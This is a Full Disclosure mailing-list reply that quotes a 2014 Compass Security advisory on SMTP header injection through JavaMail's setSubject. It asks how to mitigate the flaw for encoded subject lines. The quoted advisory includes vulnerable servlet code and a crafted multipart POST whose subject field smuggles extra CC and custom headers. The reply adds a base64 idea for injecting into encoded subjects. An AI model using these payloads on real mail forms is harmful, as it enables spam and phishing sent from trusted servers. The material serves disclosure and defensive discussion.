[Date Prev][Date Next][Thread Prev][Thread Next][Date Index][Thread Index]

Re: [FD] JavaMail SMTP Header Injection via method setSubject [CSNC-2014-001]



Hi all,

can anyone say how far a unicode encoding of the subject header is
affected by the problem?

A mitigation in a Java application, e.g. like
   String cleanSubject = subject.replace("\n", " ").replace("\r", " ");
might not be a good solution, since SMTP header values may be expressed
as unicode characters (IETF RFC). Sample:

Subject: =?iso-2022-jp?B?RGllcyBpc3QgZWluIFRlc3QgKBskQiIrIiwiKiItGyhCKSE=?=
Content-Transfer-Encoding: binary

[The string right after "?iso-2022-jp?B?" is base64 encoded. If the
subject string gets big enough, there will be line breaks, too. So, in
order to inject an SMTP header into a unicode subject, you will have to
find the "right" position (i.e. where a line break will be inserted) to
place a base64-encoded string. Sample: base64("X-Forward-User: admin") =
"WC1Gb3J3YXJkLVVzZXI6IGFkbWlu" (utf-8).]

What would be a good mitigation for a Java application? Decode the
subject and eliminate all linebreaks? In Unicode, there are at least
eight different linebreak encodings (see current Unicode Database (5.2)):

------------------------------------------------------------------------
000A    LF  LINE FEED                   Cc  B
000D    CR  CARRIAGE RETURN             Cc  B
001C    FS  INFORMATION SEPARATOR FOUR  Cc  B (UCD 3.1 FILE SEPARATOR)
001D    GS  INFORMATION SEPARATOR THREE Cc  B (UCD 3.1 GROUP SEPARATOR)
001E    RS  INFORMATION SEPARATOR TWO   Cc  B (UCD 3.1 RECORD SEPARATOR)
0085    NEL NEXT LINE                   Cc  B (C1 Control Code)
2028    LS  LINE SEPARATOR              Zl  WS  (Unicode)
2029    PS  PARAGRAPH SEPARATOR         Zp  B   (Unicode)
------------------------------------------------------------------------

Can anybody tell about a good mitigation technique for a Java application?

Cheers,
Manu



On 19.05.2014 15:30, Alexandre Herzog wrote:
> #############################################################
> #
> # COMPASS SECURITY ADVISORY
> # http://www.csnc.ch/en/downloads/advisories.html
> #
> #############################################################
> #
> # Product:    JavaMail
> # Vendor:     Oracle
> # CSNC ID:    CSNC-2014-001 
> # CVD ID:     <none>
> # Subject:    SMTP Header Injection via method setSubject
> # Risk:               Medium
> # Effect:     Remotely exploitable
> # Author:     Alexandre Herzog <alexandre.herzog@xxxxxxx>
> # Date:               19.05.2014
> #
> #############################################################
>
> Introduction:
> -------------
> The JavaMail API provides a platform-independent and 
> protocol-independent framework to build mail and messaging applications. 
> The JavaMail API is available as an optional package for use with the 
> Java SE platform and is also included in the Java EE platform.[1] 
>
> JavaMail does not check if the email subject contains a Carriage Return 
> (CR) or a Line Feed (LF) character on POST multipart requests. This 
> issue allows the injection of arbitrary SMTP headers in the generated
> email. This flaw can be used for sending SPAM or other social 
> engineering attacks (e.g. abusing a trusted server to send HTML emails
> with malicious content). 
>
>
> Affected:
> ---------
> The following versions of JavaMail were tested and found vulnerable:
> - 1.4.5 (included in the .war file used as demo from [2])
> - 1.5.1 (latest version downloaded on 31.12.2013 from [3])
>
>  
> Technical Description
> ---------------------
> The tests were performed using the .war file downloaded from [2]. That 
> code features an example on how to send a file per email using JSP and
> a servlet. The relevant parts of this example are:
>       [...]
>       /**
>        * A utility class for sending e-mail message with attachment.
>        * @author www.codejava.net
>        *
>        */
>       public class EmailUtility {
>                
>               /**
>                * Sends an e-mail message from a SMTP host with a list of 
> attached files.
>                *
>                */
>               public static void sendEmailWithAttachment(String host, String 
> port,
>                               final String userName, final String password, 
> String toAddress,
>                               String subject, String message, List<File> 
> attachedFiles)
>                                               throws AddressException, 
> MessagingException {
>                       // sets SMTP server properties
>                       Properties properties = new Properties();
>                       properties.put("mail.smtp.host", host);
>                       properties.put("mail.smtp.port", port);
>                       properties.put("mail.smtp.auth", "true");
>                       properties.put("mail.smtp.starttls.enable", "true");
>                       properties.put("mail.user", userName);
>                       properties.put("mail.password", password);
>        
>                       // creates a new session with an authenticator
>                       Authenticator auth = new Authenticator() {
>                               public PasswordAuthentication 
> getPasswordAuthentication() {
>                                       return new 
> PasswordAuthentication(userName, password);
>                               }
>                       };
>                       Session session = Session.getInstance(properties, auth);
>        
>                       // creates a new e-mail message
>                       Message msg = new MimeMessage(session);
>        
>                       msg.setFrom(new InternetAddress(userName));
>                       InternetAddress[] toAddresses = { new 
> InternetAddress(toAddress) };
>                       msg.setRecipients(Message.RecipientType.TO, 
> toAddresses);
> ==>                   msg.setSubject(subject);
>                       msg.setSentDate(new Date());
>       [...]
>       
>       [...]
>       /**
>        * A servlet that takes message details from user and send it as a new 
> e-mail
>        * through an SMTP server. The e-mail message may contain attachments 
> which
>        * are the files uploaded from client.
>        *
>        * @author www.codejava.net
>        *
>        */
>       @WebServlet("/SendMailAttachServlet")
>       
>       // CSNC comment - this tag enables the processing of POST multipart 
> requests
>       @MultipartConfig(fileSizeThreshold = 1024 * 1024 * 2,   // 2MB
>                                       maxFileSize = 1024 * 1024 * 10,         
> // 10MB
>                                       maxRequestSize = 1024 * 1024 * 50)      
> // 50MB
>       public class SendMailAttachServlet extends HttpServlet {
>               private String host;
>               private String port;
>               private String user;
>               private String pass;
>        
>               public void init() {
>                       // reads SMTP server setting from web.xml file
>                       ServletContext context = getServletContext();
>                       host = context.getInitParameter("host");
>                       port = context.getInitParameter("port");
>                       user = context.getInitParameter("user");
>                       pass = context.getInitParameter("pass");
>               }
>        
>               /**
>                * handles form submission
>                */
>               protected void doPost(HttpServletRequest request,
>                               HttpServletResponse response) throws 
> ServletException, IOException {
>                        
>                       List<File> uploadedFiles = saveUploadedFiles(request);
>                        
>                       String recipient = request.getParameter("recipient");
> ==>                   String subject = request.getParameter("subject");
>                       String content = request.getParameter("content");
>        
>                       String resultMessage = "";
>        
>                       try {
> ==>                           EmailUtility.sendEmailWithAttachment(host, 
> port, user, pass,
>                                               recipient, subject, content, 
> uploadedFiles);
>                                
>                               resultMessage = "The e-mail was sent 
> successfully";
>                       } catch (Exception ex) {
>
>
> Below is a genuine request POST request for the example above, done
> using "Content-Type: multipart" as it involves uploading a file: 
>       POST /EmailAttachWebApp/SendMailAttachServlet HTTP/1.1
>       Host: localhost:8080
>       [...]
>       Connection: keep-alive
>       Content-Type: multipart/form-data; 
> boundary=---------------------------205721274512326
>       Content-Length: 1785
>
>       -----------------------------205721274512326
>       Content-Disposition: form-data; name="recipient"
>
>       test@[redacted]
>       -----------------------------205721274512326
>       Content-Disposition: form-data; name="subject"
>
>       With javax.mail.1.5.1
>       -----------------------------205721274512326
>       Content-Disposition: form-data; name="content"
>
>       SMTP header injection test
>       -----------------------------205721274512326
>       Content-Disposition: form-data; name="file"; filename="NOTICE"
>       Content-Type: application/octet-stream
>
>       Apache Tomcat
>       Copyright 1999-2012 The Apache Software Foundation 
>       [...]
>       
>       
> "Content-Type: multipart" allows us to submit a string containing a CR 
> or LF without having to use HEX characters %0A and %0D nor \n and \r. In 
> the JavaMail case, we abuse this feature to inject additional SMTP 
> headers through the Subject parameter in the request: 
>       POST /EmailAttachWebApp/SendMailAttachServlet HTTP/1.1
>       Host: localhost:8080
>       [...]
>       Connection: keep-alive
>       Content-Type: multipart/form-data; 
> boundary=---------------------------205721274512326
>       Content-Length: 1839
>
>       -----------------------------205721274512326
>       Content-Disposition: form-data; name="recipient"
>
>       test@[redacted]
>       -----------------------------205721274512326
>       Content-Disposition: form-data; name="subject"
>
>       With javax.mail.1.5.1
> ==>   CC: injected.header@[redacted]
> ==>   X-other-header: foo bar
>       -----------------------------205721274512326
>       Content-Disposition: form-data; name="content"
>
>       SMTP header injection test
>       -----------------------------205721274512326
>       Content-Disposition: form-data; name="file"; filename="NOTICE"
>       Content-Type: application/octet-stream
>
>       Apache Tomcat
>       Copyright 1999-2012 The Apache Software Foundation
>       [...]
>       
> This email is sent successfully and is received by the recipient under 
> the following form, where the injected SMTP headers are clearly visible: 
>       [...]
>       From: [redacted]@gmail.com
>       To: test@[redacted]
>       Message-ID: <52c2e778.01030e0a.7154.fffff0c2@xxxxxxxxxxxxx>
>       Subject: With javax.mail.1.5.1
>       CC: injected.header@[redacted]
> ==>   X-other-header: foo bar
>       MIME-Version: 1.0
>       Content-Type: multipart/mixed; 
>               boundary="----=_Part_0_1681986934.1388504951836"
>       [...]
>
>       ------=_Part_0_1681986934.1388504951836
>       Content-Type: text/html; charset=us-ascii
>       Content-Transfer-Encoding: 7bit
>
>       SMTP header injection test
>       ------=_Part_0_1681986934.1388504951836
>       Content-Type: application/octet-stream; name=NOTICE
>       Content-Transfer-Encoding: 7bit
>       Content-Disposition: attachment; filename=NOTICE
>
>       Apache Tomcat
>       Copyright 1999-2012 The Apache Software Foundation
>       [...]
>
>
> The same behavior can be observed when using JavaMail 1.4.5 (bundled by 
> default in the example .war [2]) instead of the latest 1.5.1 JavaMail 
> version. 
>
>
> Workaround / Fix:
> -----------------
> Ensure your application strictly follows the JavaMail API and ensures 
> the subject string does not contain any line breaks (as stated in some 
> parts of the API [4]). An alternative would be to fix the setSubject 
> method of JavaMail by either disallowing the usage of CR/LF characters 
> or appending a space after each CR/LF character to be RFC compliant (see 
> 2.2.3 Long Header Fields of RFC 2822 [5]). 
>
> Oracle issued the following statement regarding this matter: "The 
> assessment from our engineering team is that this is not a bug in 
> JavaMail API. The application is responsible to perform some input 
> validation. In this particular case, the application is responsible for 
> ensuring that the subject string does not contain any line breaks. The 
> code demonstrated the issue is not an Oracle sample. Therefore, we are 
> closing the issue as not-a-bug." 
>
>
> Timeline:
> ---------
> 2014-05-19:           Global publication of the advisory
> 2014-03-19:           Advisory sent to Compass Security's customers
> 2014-02-19:           Got confirmation from Oracle they agree our publication
>                               schedule
> 2014-02-18:           Informed Oracle that we plan to publish details of this
>                               issue to our customer this week and to the 
> general
>                               public in a month
> 2014-02-05:           Informed Oracle we consider publishing this information
> 2014-02-04:           Response from Oracle: is not considered a bug
> 2014-01-23:           Status report from Oracle mentioning the case being
>                               "Under investigation / Being fixed in main 
> codeline"
> 2014-01-01:           Reception acknowledgement from Oracle
> 2014-01-01:           Sending advisory and PoC to Oracle
> 2014-01-01:           Isolation and reproduction of an issue discovered
>                               previously by the author
>
>
> References:
> -----------
> [1] http://www.oracle.com/technetwork/java/javamail/index.html
> [2] 
> http://www.codejava.net/java-ee/jsp/send-attachments-with-e-mail-using-jsp-servlet-and-javamail
> [3] https://java.net/projects/javamail/pages/Home
> [4] 
> https://javamail.java.net/nonav/docs/api/javax/mail/internet/MimeMessage.html#setSubject(java.lang.String)
> [5] http://www.ietf.org/rfc/rfc2822.txt
>
>
>
> --
> Alexandre Herzog, CTO, Compass Security Schweiz AG
> Werkstrasse 20, 8645 Jona, Switzerland
> Schauplatzgasse 39, 3011 Bern, Switzerland
> http://www.csnc.ch/
>
>
>
> _______________________________________________
> Sent through the Full Disclosure mailing list
> http://nmap.org/mailman/listinfo/fulldisclosure
> Web Archives & RSS: http://seclists.org/fulldisclosure/

Attachment: smime.p7s
Description: S/MIME Cryptographic Signature

_______________________________________________
Sent through the Full Disclosure mailing list
http://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: http://seclists.org/fulldisclosure/